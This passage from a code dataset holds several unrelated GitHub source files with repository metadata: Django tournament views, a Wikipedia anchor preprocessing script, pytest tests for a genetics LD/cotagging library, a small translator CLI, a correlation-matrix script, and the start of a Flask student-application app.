tournoi = get_object_or_404(Tournament, pk = tournoi_id)\n nbr_matchs_poules = tournoi.poule_set.all().count()\n print(int(math.log2(nbr_matchs_poules)))\n if nbr_matchs_poules > 0:\n for i in range(0, int(math.log2(nbr_matchs_poules)+1)):\n print(i)\n nbr_matchs=int(nbr_matchs_poules/(2**i))\n print(nbr_matchs)\n \n #Case where the next round is preceded by draws\n if i == 0:\n print(\"previous round is draws\")\n if Round.objects.filter(tournament=tournoi, match_quantity=nbr_matchs).exists():\n print(\"using existing round\")\n existant_round = Round.objects.get(tournament=tournoi, match_quantity=nbr_matchs)\n \n if existant_round.round_filled==0:\n existant_round.game_set.all().delete()\n print(\"filling round\")\n create_match_from_poule(tournoi, existant_round)\n print(existant_round.round_filled)\n else:\n print(\"creating new round draws\")\n new_round = Round(match_quantity=nbr_matchs, tournament=tournoi)\n new_round.save() \n create_match_from_poule(tournoi, new_round)\n \n #Case where the next round isn't preceded by draws\n else:\n print(\"previous round isn't draws\")\n previous_round = Round.objects.filter(tournament=tournoi, match_quantity=nbr_matchs*2)[0]\n if Round.objects.filter(tournament=tournoi, match_quantity=nbr_matchs).exists():\n print(\"using existing round\")\n existant_round = Round.objects.get(tournament=tournoi, match_quantity=nbr_matchs)\n \n if existant_round.round_filled==0 and len(previous_round.next_qualified())!=0:\n existant_round.game_set.all().delete()\n create_match_from_round(nbr_matchs, previous_round, existant_round)\n else:\n print(\"creating new round\")\n new_round = Round(match_quantity=nbr_matchs, tournament=tournoi)\n new_round.save()\n print(len(previous_round.next_qualified()))\n if len(previous_round.next_qualified())!=0:\n create_match_from_round(nbr_matchs, previous_round, new_round)\n \n list_rounds=sorted(tournoi.round_set.all(), key = lambda round : round.match_quantity, reverse = True)\n context= {'tournoi':tournoi, 'list_rounds' : list_rounds}\n return context \n\n#DetailView which loads the poule template to show all the poules in a tournament and the poule information (games/scores)\nclass PouleView(generic.DetailView):\n template_name = 'FinalWhistle/poules.html'\n \n def get_queryset(self):\n return Tournament.objects.order_by('name')\n\n def get_context_data(self, **kwargs):\n context=super(PouleView,self).get_context_data(**kwargs)\n context['tournoi'] = Tournament.objects.get(pk=self.kwargs[\"pk\"])\n tournoi = Tournament.objects.get(pk=self.kwargs[\"pk\"])\n context['list_rounds'] = tournoi.round_set.all()\n context.update(TournamentTree(self.kwargs[\"pk\"]))\n return context\n\n \n \n \n \n \n\n#DetailView which loads the match template and displays information on the game, also handles the comment post function\nclass MatchView(generic.DetailView):\n template_name = 'FinalWhistle/match.html'\n def get_queryset(self):\n return Game.objects.order_by('id')\n \n #gets the comments in the database to be displayed by the match page, orders them by date\n def get_context_data(self, **kwargs):\n data = super().get_context_data(**kwargs)\n comments_connected = Comment.objects.filter(game=self.get_object()).order_by('-date')\n data['goals_context'] = team_goals(self.kwargs[\"pk\"])\n data['comments'] = comments_connected\n return data\n \n \n \n #post function when a new comment is added\n def post(self, request, *args, **kwargs):\n new_comment = Comment(body=request.POST.get('body'),\n user=self.request.user,\n game=self.get_object())\n new_comment.save()\n return self.get(self, request, *args, **kwargs)\n\n#UpdateView which allows an authenticated user to update his comments' 'body'\nclass EditCommentView(LoginRequiredMixin, generic.UpdateView):\n model = Comment\n fields = ['body']\n template_name = 'FinalWhistle/edit_comment.html'\n success_url = reverse_lazy('FinalWhistle:index') \n\n def get_success_url(self):\n #redirect the user to the game page when the comment has been succesfully modified\n return reverse('FinalWhistle:match', args=[self.object.game.pk]) \n\n def get_queryset(self):\n queryset = super().get_queryset()\n return queryset.filter(user=self.request.user)\n \n \n#Custom 404 view, loads the right template\ndef custom_404(request, exception):\n return render(request, 'FinalWhistle/404.html', status=404)\n\n\n\ndef scatter_plot(request, tournament_id):\n tournament = Tournament.objects.get(id=tournament_id)\n teams = tournament.team_set.all()\n data = [(team.goals_scored(), team.goals_conceded()) for team in teams]\n context = {'data': data, 'tournament': tournament} # Add tournament to the context\n return render(request, 'FinalWhistle/scatter_plot.html', context)\n\ndef goal_plot(request, tournament_id):\n tournament = Tournament.objects.get(id=tournament_id)\n teams = tournament.team_set.all()\n data = [(team.goals_scored(), team.goals_conceded()) for team in teams]\n context = {'data': data, 'tournament': tournament} # Add team names to the context\n return render(request, 'FinalWhistle/goal_plot.html', context)\n\n\nimport json\n\n\ndef team_goals(pk):\n game = Game.objects.get(id=pk)\n team_home = game.home_team\n team_away = game.away_team\n games_home = Game.objects.filter(Q(home_team=team_home) | Q(away_team=team_home)).order_by('date')\n games_away = Game.objects.filter(Q(home_team=team_away) | Q(away_team=team_away)).order_by('date')\n scores_home = []\n opponent_names_home = []\n game_dates_home = []\n for game in games_home:\n if game.home_team == team_home:\n scores_home.append(game.home_score)\n opponent_names_home.append(game.away_team.name)\n game_dates_home.append(game.date.strftime('%Y-%m-%d'))\n else:\n scores_home.append(game.away_score)\n opponent_names_home.append(game.home_team.name)\n game_dates_home.append(game.date.strftime('%Y-%m-%d'))\n score_data_home = json.dumps(scores_home)\n opponent_names_away = []\n game_dates_away = []\n scores_away = []\n for game in games_away:\n if game.home_team == team_away:\n scores_away.append(game.home_score)\n opponent_names_away.append(game.away_team.name)\n game_dates_away.append(game.date.strftime('%Y-%m-%d'))\n else:\n scores_away.append(game.away_score)\n opponent_names_away.append(game.home_team.name)\n game_dates_away.append(game.date.strftime('%Y-%m-%d'))\n score_data_away = json.dumps(scores_away)\n context = {\n 'score_data_home': score_data_home,\n 'score_data_away': score_data_away,\n 'opponent_names_home': opponent_names_home,\n 'opponent_names_away': opponent_names_away,\n 'game_dates_home': game_dates_home,\n 'game_dates_away': game_dates_away,\n 'home_team': team_home,\n 'away_team': team_away,\n }\n return context\n\n#Search\ndef search(request):\n query = request.GET.get('q')\n search_mode = request.GET.get('search_mode')\n game_date = request.GET.get('date')\n game_location = request.GET.get('location')\n game_stadium = request.GET.get('stadium')\n home_team = request.GET.get('home_team')\n away_team = request.GET.get('away_team')\n home_score = request.GET.get('home_score')\n away_score = request.GET.get('away_score')\n tournament_list = None\n team_list = None\n game_list = None\n \n if not (game_date or game_location or game_stadium or home_team or away_team or home_score or away_score):\n if query:\n #two modes for searching tournaments and teams\n if search_mode == 'Tournament':\n tournament_list = Tournament.objects.filter(name__contains=query).union(\n Tournament.objects.filter(location__contains=query))\n elif search_mode == 'Team':\n team_list = Team.objects.filter(name__icontains=query)\n else:\n tournament_list = None\n team_list = None\n game_list = None\n else: \n #filter of matches\n query1 = ((Q(date__contains=game_date) | Q(date__isnull=True))\n & (Q(stadium__name__contains=game_stadium) | Q(stadium__name__isnull=True))\n & (Q(poule__tournament__location__contains=game_location) | Q(poule__tournament__location__isnull=True))\n & (Q(home_score__contains=home_score) | Q(home_score__isnull=True))\n & (Q(away_score__contains=away_score) | Q(away_score__isnull=True))\n & (Q(home_team__name__contains=home_team) | Q(home_team__name__isnull=True))\n & (Q(away_team__name__contains=away_team) | Q(away_team__name__isnull=True)))\n if query1:\n game_list = Game.objects.order_by(\"-date\").filter(query1)\n\n \n return render(request, 'FinalWhistle/search.html', {'tournament_list': tournament_list, \n 'team_list':team_list, \"game_list\":game_list})\n\n\n","repo_name":"AnTerZz/tournois-antoine-rieuneau","sub_path":"tournois/FinalWhistle/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11735,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"24125591312","text":"import nltk as nk\nimport codecs\nimport regex as re\nimport datetime\n\nanchor_p = r\"\\[\\[((?>[^\\[\\]]+|(?R))*)\\]\\]\"\nanchor_text_p = r'(?<=\\[\\[).*?(?=\\]\\])'\ntrim_href_p = r\"(^.+?\\t\\t)|(=+References=+(.*)$)|(\\[http(.*?)\\])\"\nanchor_split_p = r'\\|'\neng_p = r'[a-zA-Z]+'\nnum_p = r'[0-9]+'\nbrace_p = r'\\(.*?\\)'\npara_p = r'={2,}'\nnon_num_eng = r'^[\\W]+$'\np1 = r'^\\'\\'\\'(.*)\\'\\'\\'$'\np1_content = r'(?<=\\'\\'\\').*?(?=\\'\\'\\')'\np2 = r'^\\\"(.*)\\\"$'\np2_content = r'(?<=\\\").*?(?=\\\")'\np3 = r'^\\'\\'(.*)\\'\\'$'\np3_content = r'(?<=\\'\\').*?(?=\\'\\')'\noutlink_split_p = r'\\t\\t|;'\n\nfile_input = './data/wiki2016/enwiki-text.dat'\ncorpus = './data/wiki2016/train_text'\n# kg_corpus = './data/wiki2016/train_kg'\n# kg_input = './data/wiki2016/enwiki-outlink.dat'\nent_dic_file = './data/wiki2016/ent_mention'\nwiki_dic_file = './data/wiki2016/enwiki-ID.dat'\n'''\nfile_input = '/Volumes/cyx500/enwiki/enwiki-abstract.dat'\nkg_input = '/Volumes/cyx500/enwiki/enwiki-outlink.dat'\ncorpus = 'train_text_sample'\nkg_corpus = 'train_kg'\nent_dic_file = 'ent_dic'\nwiki_dic_file = '/Volumes/cyx500/enwiki/enwiki-ID.dat'\n'''\nent_mention = {}\nent_dic = {}\n\ndef extractEnt(anchor_text):\n items = re.split(anchor_split_p, re.search(anchor_text_p, anchor_text).group())\n entity = items[0]\n if len(items) == 2:\n mention = items[1].strip()\n # extract three pattern mention to reduce the mention vocab\n if re.match(p1, mention):\n mention = re.search(p1_content, mention).group()\n elif re.match(p2, mention):\n mention = re.search(p2_content, mention).group()\n elif re.match(p3, mention):\n mention = re.search(p3_content, mention).group()\n mention = mention.strip()\n elif len(items) == 1:\n mention = items[0]\n else:\n # not anchor format\n return None\n #if mention is \"\" or \" \" or pure numbers or pure symbols, del the anchor\n if mention == \"\" or mention == \" \" or re.match(num_p, mention) or re.match(non_num_eng, mention):\n return None\n if entity not in ent_dic:\n #not an entity in wikipedia entity vocab, return the mention text\n mention_text = []\n segment(mention, mention_text)\n return \" \".join(mention_text)\n # add entity and its mention into dict\n if entity in ent_mention:\n mention_set = ent_mention[entity]\n if mention not in mention_set:\n mention_set[mention] = 1\n else:\n mention_set[mention] += 1\n elif len(entity)>1 and len(mention)>1:\n mention_set = {}\n mention_set[mention] = 1\n ent_mention[entity] = mention_set\n else:\n # ignore the length <1 entity and mention\n return None\n if len(items) == 2:\n return \"[[\"+entity+\"|\"+mention+\"]]\"\n else:\n return \"[[\"+entity+\"]]\"\n\ndef segment(sent, words):\n tmp_words = nk.tokenize.word_tokenize(sent)\n for word in tmp_words:\n if re.match(eng_p, word):\n words.append(word)\n elif re.match(num_p, word):\n words.append(\"ddd\")\n\nwith codecs.open(wiki_dic_file, 'r', encoding='UTF-8') as fin_id:\n for line in fin_id:\n ents = re.split(r'\\t\\t', line)\n if len(ents)==2 and ents[0]!=\"\" and ents[0]!=\" \":\n ent_dic[ents[0].lower()] = ents[1].strip(\"\\n\")\n print(\"successfully load %d entities!\" % len(ent_dic))\n'''\nwith codecs.open(kg_input,'r', encoding='UTF-8') as fin_kg:\n with codecs.open(kg_corpus,'w', encoding='UTF-8') as fout_kg:\n line_count = 0\n for line in fin_kg:\n line_count += 1\n if line_count%10000 ==0:\n print(\"has processed: %d entities.\" % line_count)\n links = []\n line = line.lower()\n page = re.split(outlink_split_p, line)\n if len(page)<2 or len(page[0])<2 or page[0] not in ent_dic:\n continue\n for link in page[1:]:\n if link in ent_dic:\n links.append(link)\n if len(links)<1:\n continue\n fout_kg.writelines(page[0]+\"\\t\"+\";\".join(links)+\"\\n\")\n'''\nwith codecs.open(file_input, 'r', encoding='UTF-8') as fin:\n with codecs.open(corpus, 'w', encoding='UTF-8') as fout_text:\n line_count = 0\n texts = []\n anchors = []\n starttime = datetime.datetime.now()\n for line in fin:\n line_count += 1\n if line_count%10000 == 0 :\n endtime = datetime.datetime.now()\n print(\"%chas processed: %d lines, takes %d seconds...\" % (13,line_count, (endtime - starttime).seconds))\n # split the paragraphs after removing references, head entity and href\n paras = re.split(para_p, re.sub(trim_href_p, \"\", line.lower()))\n for para in paras:\n sent_pos = 0\n words_set = []\n # skip the para within length of 30 or Nonetype\n if not para or len(para) <=30:\n continue\n # iterate all the anchors in wiki text\n for anchor in re.finditer(anchor_p, para):\n segment(para[sent_pos:anchor.start()], words_set)\n anchor_word = extractEnt(anchor.group())\n if anchor_word:\n words_set.append(anchor_word)\n sent_pos = anchor.end()\n if sent_pos < len(para):\n segment(para[sent_pos:len(para)], words_set)\n if len(words_set) > 8:\n texts.append(\" \".join(words_set)+\"\\n\")\n if len(texts) >= 10000:\n fout_text.writelines(texts)\n del texts[:]\n if len(texts) > 0:\n fout_text.writelines(texts)\n\nwith codecs.open(ent_dic_file, 'w', encoding='UTF-8') as fout_ent:\n dics = []\n for ent in ent_mention:\n dics.append(ent_dic[ent]+\"\\t\"+ent+\"\\t\"+\"\\t\".join([\"%s=%s\" % (k, v) for k, v in ent_mention[ent].items()])+\"\\n\")\n if len(dics) >= 10000:\n fout_ent.writelines(dics)\n del dics[:]\n if len(dics) > 0:\n fout_ent.writelines(dics)\n","repo_name":"TaoMiner/JointTextKgLearning","sub_path":"preprocess/remainAnchor.py","file_name":"remainAnchor.py","file_ext":"py","file_size_in_byte":6121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32444550809","text":"\"\"\"\nUnit testing for utilities4cotagging\n\"\"\"\nimport pytest\n\nfrom pptc2 import compute_clumps\nfrom qtraitsimulation import qtraits_simulation\nfrom utilities4cotagging import *\n\n# Global Variables\nscript_path = os.path.dirname(os.path.realpath(__file__))\ntest_folder = os.path.join(script_path, 'testfiles')\ncov3 = [[1, 0.8, 0.6], [0.8, 1, 0.4], [0.6, 0.4, 1]]\ngeno = da.from_array(np.random.multivariate_normal([0, 0, 0], cov3, 1000),\n chunks=(1000, 3))\nbim = pd.DataFrame({'snp':['SNP0', 'SNP1', 'SNP3'], 'i': [0, 1, 2],\n 'pos': [0, 1000, int(1.1E6)]})\ndf = bim[bim.snp.isin(['SNP0', 'SNP1'])]\nsub = geno[:, df.i.values]\ncorr = pd.DataFrame(np.corrcoef(geno.T)**2, columns=bim.snp.tolist(),\n index=bim.snp.tolist())\nbed = os.path.join(test_folder, 'toy_bed')\nwith open(os.path.join(test_folder, 'toy_bed_maf.pickle'), 'rb') as F:\n (b, f, g) = pickle.load(F)\nwith open(os.path.join(test_folder, 'toy_Cotagging.pickle'), 'rb') as F:\n sumstats, tail = pickle.load(F)\nshared_snps = sumstats[sumstats.SNP.isin(b.snp)].SNP.tolist()\nsumstats_subset = sumstats[sumstats.SNP.isin(shared_snps)]\nidx = b[b.snp.isin(shared_snps)].i.tolist()\nsumstats_subset.loc[:, 'i'] = idx\npheno = f.copy()\npheno['PHENO'] = g[:,idx].dot(sumstats_subset.BETA.values.astype(float)\n ).compute()\n(EUR_bim, EUR_fam, EUR_g) = read_geno(bed, 0.01, 1, False, False)\n(AFR_bim, AFR_fam, AFR_g) = read_geno(bed + '2', 0.01, 1, False, False)\nEUR_g = (EUR_g - EUR_g.mean(axis=0)) / EUR_g.std(axis=0)\nAFR_g = (AFR_g - AFR_g.mean(axis=0)) / AFR_g.std(axis=0)\no = qtraits_simulation(os.path.join(test_folder, 'AFR'), bfile=AFR_g,\n bim=AFR_bim, fam=AFR_fam)\nAFR_pheno, realized_h2, (g, bim, truebeta, causals) = o\n\ntoy_sumstats = pd.read_table(os.path.join(test_folder, 'toy_test.gwas'),\n sep='\\t')\nmbim = EUR_bim.merge(AFR_bim, on=['chrom', 'snp', 'pos'], suffixes=['_ref',\n '_tar'])\n\n# Tests\n@pytest.mark.parametrize(\"test_input,expected\",\n [('ls test_utilities4cotagging.py',\n (b'test_utilities4cotagging.py\\n', b''))])\ndef test_execute_line(test_input, expected):\n assert execute_line(test_input) == expected\n\n\n@pytest.mark.parametrize(\"test_input,df,block,expected\", [\n (sub, df, 0, corr.loc[bim.snp.iloc[:2], bim.snp.iloc[:2]])])\ndef test_single_block(test_input, df, block, expected):\n d = single_block(test_input, df, block)\n pd.testing.assert_frame_equal(d[block].compute(), expected)\n\n\n@pytest.mark.parametrize(\"bim,geno,kbwindow,threads,expected\", [\n # TODO: include different window sizes\n (bim, geno, 1000, 1, corr), (bim, geno, 1000, 2, corr)\n])\ndef test_blocked_r2(bim, geno, kbwindow, threads, expected):\n bim, r2 = blocked_r2(bim, geno, kb_window=kbwindow, threads=threads)\n pd.testing.assert_frame_equal(r2[bim.loc[0, 'block']].compute(),\n expected.loc[\n bim.snp.iloc[:2], bim.snp.iloc[:2]])\n pd.testing.assert_frame_equal(r2[bim.loc[2, 'block']].compute(),\n expected.loc[\n bim.snp.iloc[2:], bim.snp.iloc[2:]])\n\n\n@pytest.mark.parametrize(\"test_input,a,b,expected\", [\n (range(10), 0, 1, np.array([0., 0.11111111, 0.22222222, 0.33333333,\n 0.44444444, 0.55555556, 0.66666667,\n 0.77777778, 0.88888889, 1.]))])\ndef test_norm_array(test_input, a, b, expected):\n nr = norm(test_input, a, b)\n assert np.isclose(expected, nr, rtol=1e-05).all()\n\n\n@pytest.mark.parametrize(\"bfile,freq_thresh,threads,flip,check,pickled\", [\n (bed, 0, 1, False, False, os.path.join(test_folder,'toy_bed_plain.pickle')),\n (bed, 0, 2, False, False, os.path.join(test_folder,'toy_bed_plain.pickle')),\n (bed, 0, 8, False, True, os.path.join(test_folder, 'toy_bed_check.pickle')),\n (bed, 0, 8, True, False, os.path.join(test_folder, 'toy_bed_flip.pickle')),\n (bed, 0.01, 8, False, False, os.path.join(test_folder, 'toy_bed_maf.pickle')\n )])\ndef test_read_geno(bfile, freq_thresh, threads, flip, check, pickled):\n with open(pickled,'rb') as F:\n expected = pickle.load(F)\n (bim, fam, g) = read_geno(bfile, freq_thresh, threads, flip, check)\n pd.testing.assert_frame_equal(bim, expected[0])\n pd.testing.assert_frame_equal(fam, expected[1])\n np.testing.assert_allclose(g.compute(), expected[2].compute())\n\n\n@pytest.mark.parametrize(\"ascending,dataf,column\", [(True, sumstats, 'Index'),\n (False, sumstats, 'Index')])\n# TODO: Inlcude a test case for other columns\ndef test_smartcotagsort(ascending, dataf, column):\n out = smartcotagsort('prefix', dataf, column=column, ascending=ascending,\n beta='BETA', position='BP')\n result, before_tail = out\n if ascending:\n np.testing.assert_array_equal(result.index.values, dataf.Index.values)\n else:\n np.testing.assert_array_equal(np.flip(result.Index.values,0),\n dataf.Index.values)\n execute_line('rm prefix_*')\n\n\n@pytest.mark.parametrize(\"shape,expected\", [\n ((10, 10), 0.0008), ((10, 1000), 0.08), ((45000,3000), 1080.0)])\ndef test_estimate_size(shape, expected):\n actual = estimate_size(shape)\n np.testing.assert_array_equal(actual, expected)\n\n\n@pytest.mark.parametrize(\"shape,threads,memory,expected\", [\n ((10, 10), 1, None, (10,10)), ((10, 10), 1, 0.0007, (5,5)),\n ((10, 1000), 1, None, (10, 1000)), ((10, 1000), 8, 0.1, (1, 142))])\ndef test_estimate_chunks(shape, threads, memory, expected):\n result = estimate_chunks(shape, threads, memory)\n assert result == expected\n\n\nexpected = {'Number of SNPs': 4, 'R2':0.9999999999999998 , 'type': 'label'}\n\n\n@pytest.mark.parametrize(\"subdf,geno,pheno,expected\", [\n (sumstats_subset, g, pheno, expected),\n])\ndef test_single_score(subdf, geno, pheno, expected):\n label = \"label\"\n d = single_score(subdf, geno, pheno, label, beta='BETA')\n assert d == expected\n\n\nexpected = {'Number of SNPs': {0: 1, 1: 2, 2: 3, 3: 4}, 'R2': {\n 0: 0.9931961793474825, 1: 0.9931961793474827, 2: 0.9986418678440357,\n 3: 0.9999999999999998}, 'type': {0: 'label', 1: 'label', 2: 'label',\n 3: 'label'}}\n\n\n@pytest.mark.parametrize(\"df,geno,pheno,step,threads,expected\", [\n (sumstats_subset, g, pheno, 1, 1, expected),\n (sumstats_subset, g, pheno, 1, 4, expected)\n])\ndef test_prune_it(df, geno, pheno, step, threads, expected):\n # TODO: test different steps\n a = prune_it(df, geno, pheno, 'label', step, threads, beta='BETA')\n assert a.to_dict() == expected\n\n\n@pytest.mark.parametrize(\"df,rgeno,tgeno,threads,max_memory,justd,extend,exp\", [\n (mbim, EUR_g, AFR_g, 1, None, True, False, 'toy_test_ds.pickle'),\n (mbim, EUR_g, AFR_g, 1, None, False, False, 'toy_test_cotd.pickle'),\n (mbim, EUR_g, AFR_g, 4, None, True, False, 'toy_test_ds.pickle'),\n (mbim, EUR_g, AFR_g, 4, None, False, False, 'toy_test_cotd.pickle'),\n (mbim, EUR_g, AFR_g, 4, None, False, True, 'toy_test_cotd_ext.pickle'),\n (mbim, EUR_g, AFR_g, 4, None, True, True, 'toy_test_d_ext.pickle')\n])\ndef test_single_window(df, rgeno, tgeno, threads, max_memory, justd, extend,\n exp):\n cwd=os.getcwd()\n os.chdir(test_folder)\n with open(exp, 'rb') as F:\n expected = pickle.load(F)\n ridx, tidx = df.i_ref.values, df.i_tar.values\n rg, tg = rgeno[:, ridx], tgeno[:, tidx]\n out = single_window(df, rg, tg, threads, max_memory, justd, extend)\n if isinstance(out, tuple):\n assert (out[0] == expected[0]).all()\n np.testing.assert_allclose(out[1].compute(), expected[1].compute())\n np.testing.assert_allclose(out[2].compute(), expected[2].compute())\n else:\n pd.testing.assert_frame_equal(out, expected)\n os.chdir(cwd)\n\n\n@pytest.mark.parametrize(\n \"rgeno,rbim,tgeno,tbim,kbwindow,threads,max_memory,justd,extend,exp\", [\n (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 1, None, True, False,\n 'toy_test_ds.pickle'),\n (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 1, None, False, False,\n 'toy_test_cotd.pickle'),\n (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 4, None, True, False,\n 'toy_test_ds.pickle'),\n (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 4, None, False, False,\n 'toy_test_cotd.pickle'),\n (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 4, None, True, True,\n 'toy_test_d_ext.pickle'),\n (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 4, None, False, True,\n 'toy_test_cotd_ext.pickle')\n])\ndef test_get_ld(rgeno, rbim, tgeno, tbim, kbwindow, threads, max_memory, justd,\n extend, exp):\n print('rg', rgeno.shape, 'tg', tgeno.shape, 'rbim', rbim.shape,\n 'tbim', tbim.shape)\n cwd=os.getcwd()\n os.chdir(test_folder)\n with open(exp, 'rb') as F:\n expected = pickle.load(F)\n out = get_ld(rgeno, rbim, tgeno, tbim, kbwindow, threads, max_memory, justd,\n extend)\n if isinstance(out, tuple) or isinstance(out, list):\n assert (out[0][0] == expected[0]).all()\n np.testing.assert_allclose(out[0][1].compute(), expected[1].compute()\n )\n np.testing.assert_allclose(out[0][2].compute(), expected[2].compute()\n )\n else:\n pd.testing.assert_frame_equal(out, expected)\n os.chdir(cwd)\n\n\nloci = get_ld(EUR_g, EUR_bim, AFR_g, AFR_bim, kbwindow=1000, justd=True,\n threads=8, max_memory=None)\nresult = [0.25, 0.25, 0.5, 0.5, 0.2, 0.5, 0.5]\n\n@pytest.mark.parametrize(\"geno,keep_allele_order,result\", [\n (EUR_g, False, result)\n ])\ndef test_compute_maf(geno, keep_allele_order, result):\n assert [compute_maf(geno[:, i].compute(), keep_allele_order) for i in\n range(EUR_g.shape[1])] == result\n\n\n@pytest.mark.parametrize(\n \"select_index_by,do_locus_ese,normalize,exp\", [\n ('pvalue', False,True,),\n # (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 1, None, False, False,\n # 'toy_test_cotd.pickle'),\n # (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 4, None, True, False,\n # 'toy_test_ds.pickle'),\n # (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 4, None, False, False,\n # 'toy_test_cotd.pickle'),\n # (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 4, None, True, True,\n # 'toy_test_d_ext.pickle'),\n # (EUR_g, EUR_bim, AFR_g, AFR_bim, 1000, 4, None, False, True,\n # 'toy_test_cotd_ext.pickle')\n ])\ndef test_optimize_it(select_index_by, do_locus_ese, normalize):\n ld_range = [0.5]\n by_range = [1]\n h2 = 0.5\n cache = Chest(available_memory=psutil.virtual_memory().available)\n memory = None\n test_geno = AFR_g\n clump_function = compute_clumps\n\n","repo_name":"jshleap/Cotagging_playground","sub_path":"test_utilities4cotagging.py","file_name":"test_utilities4cotagging.py","file_ext":"py","file_size_in_byte":10974,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20287884049","text":"from urllib.request import urlopen, Request\nfrom bs4 import BeautifulSoup\nfrom utils.utils import getSys\nfrom deep_translator import GoogleTranslator\n\nw = ''\nl = ''\n\ndef translate():\n langList = GoogleTranslator().get_supported_languages(as_dict=True)\n langList = list(langList.keys())\n print('''\nQual o idioma que você deseja traduzir?\n ''')\n for i in range(len(langList)):\n print(f'[{i}] {langList[i]}')\n lang = input('Sua resposta: ')\n lang = langList[int(lang)]\n print('''\nQual o idioma que você deseja traduzir para?\n ''')\n for i in range(len(langList)):\n print(f'[{i}] {langList[i]}')\n lang2 = input('Sua resposta: ')\n lang2 = langList[int(lang2)]\n text = input('Digite o texto que você deseja traduzir: ')\n translated = GoogleTranslator(source=lang, target=lang2).translate(text)\n print(f'O texto traduzido é: {translated}')\n print('Pressione enter para continuar...')\n input('')\n getSys(w, l)\n return translated","repo_name":"JeffeVargasP/First-Project","sub_path":"crawlerhub/translator.py","file_name":"translator.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40263014291","text":"#Import libries\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nimport argparse\nimport math\n\n\ndef LoadData(pathD):\n \"\"\"Preprocessing the dataset\n Attributes\n ---------- \n path: the path of the file\n\n Returns\n ------- \n Data and label (attack/normal) separated\n \"\"\"\n start = datetime.now()\n print(\"[\" + str(start) + \"]\" + \" Starting LoadData.\")\n \n #Read Data \n D = pd.read_csv(pathD,engine='python',sep=\",\",header=0)\n end = datetime.now()\n print(\"[\" + str(end) + \"]\" + \" Finished LoadData. Duration: \" + str(end-start))\n return D\n\n\ndef mycorrelation(pwmat,numser,win):\n M = pwmat\n init = 0 \n ms = []\n for it in range(0,numser):\n xi = np.squeeze(np.asarray(M.iloc[it:it+1]))\n init = it + 1\n vecc = []\n for jt in range (0,numser):\n xj = np.squeeze(np.asarray(M.iloc[jt:jt+1]))\n dot = (np.dot(xi,xj))/win\n vecc.append(np.round(dot,2))\n ms.append(vecc)\n return(ms)\n\n\ndef domatrices (numt,win,DatT,numser):\n ttime = numt+1\n time = 1\n mxt = []\n while time < ttime-win:\n intime = time\n endtime = win+intime\n print('******TIME******',time)\n wmat = DatT.iloc[:, intime-1:endtime]\n mtxst = mycorrelation(wmat,numser,win)\n mxt.append(mtxst)\n time = time + 1\n return(mxt)\n\ndef flattensor (listtensor):\n \"\"\"Flat lists of tensors\n Attributes\n ---------- \n listtensor: list of tensors\n \n Returns\n ------- \n Dataframe of tensors in 1D \n \"\"\"\n start = datetime.now()\n print(\"[\" + str(start) + \"]\" + \" Starting flattensor.\")\n t=len(listtensor)\n # 0 element \n auxtensor = listtensor[0]\n #flatten\n auxflat = [val for sublist in auxtensor for val in sublist] \n #transofrm to dataframe\n dfxf = pd.DataFrame(auxflat)\n for x in range (1,t):\n tensor = listtensor[x]\n flat = [val for sublist in tensor for val in sublist] \n dfflat= pd.DataFrame(flat)\n dfxf = pd.concat([dfxf, dfflat],axis=1)\n end = datetime.now()\n print(\"[\" + str(end) + \"]\" + \" Finished flattensor. Duration: \" + str(end-start))\n return(dfxf)\n\n\ndef exportdata(pdfdata,addchar):\n start = datetime.now()\n print(\"[\" + str(start) + \"]\" + \" Starting export data.\") \n pdfdataT = pdfdata.transpose()\n filename = 'FileMatrices'+'_'+addchar+'.'+'csv'\n pdfdataT.to_csv(filename, index=False)\n end = datetime.now()\n print(\"[\" + str(end) + \"]\" + \" Finished export data. Duration: \" + str(end-start))","repo_name":"mmacas11/Sa-DVCRAE","sub_path":"DoMatrices.py","file_name":"DoMatrices.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29342838234","text":"\nfrom flask import Flask, render_template,redirect, url_for, request, session\nfrom pymysql import connections\nimport os\nimport boto3\nfrom config import *\nfrom uuid import uuid4\nimport json\nfrom flask import jsonify\nfrom pymysql import MySQLError\nimport traceback\nfrom datetime import datetime\n\n\n\napp = Flask(__name__)\n\nbucket = custombucket\nregion = customregion\n\ndb_conn = connections.Connection(\n host=customhost,\n port=3306,\n user=customuser,\n password=custompass,\n db=customdb\n\n)\noutput = {}\ntable = 'studentForm'\n\ns3 = boto3.resource('s3')\ns3_client = boto3.client('s3')\nbucket_location = boto3.client('s3').get_bucket_location(Bucket= custombucket)\ns3_location = (bucket_location['LocationConstraint'])\n\nif s3_location is None:\n s3_location = ''\nelse:\n s3_location = '-' + s3_location\n\n@app.route(\"/\", methods=['GET'])\ndef home():\n return redirect(url_for('profile', student_id=1))\n\n@app.route(\"/company-list.html\", methods=['GET', 'POST'])\ndef viewCompanyList():\n return render_template('company-list.html')\n@app.route(\"/edit-profile.html\", methods=['GET','POST'])\ndef edit_profile_view():\n return render_template('edit-profile.html')\n\n\n\n@app.route(\"/addStudent\", methods=['POST'])\ndef Addstudent():\n \n # Retrieve form fields\n student_id = request.form.get(\"student-id\")\n resume_file = request.files.get(\"resume\")\n company_id = request.form.get(\"company-id\")\n details = request.form.get(\"details\")\n file_id = str(uuid4())\n application_id = str(uuid4())\n\n\n \n # Check if resume file is provided\n if not resume_file or resume_file.filename == \"\":\n return \"Please upload your 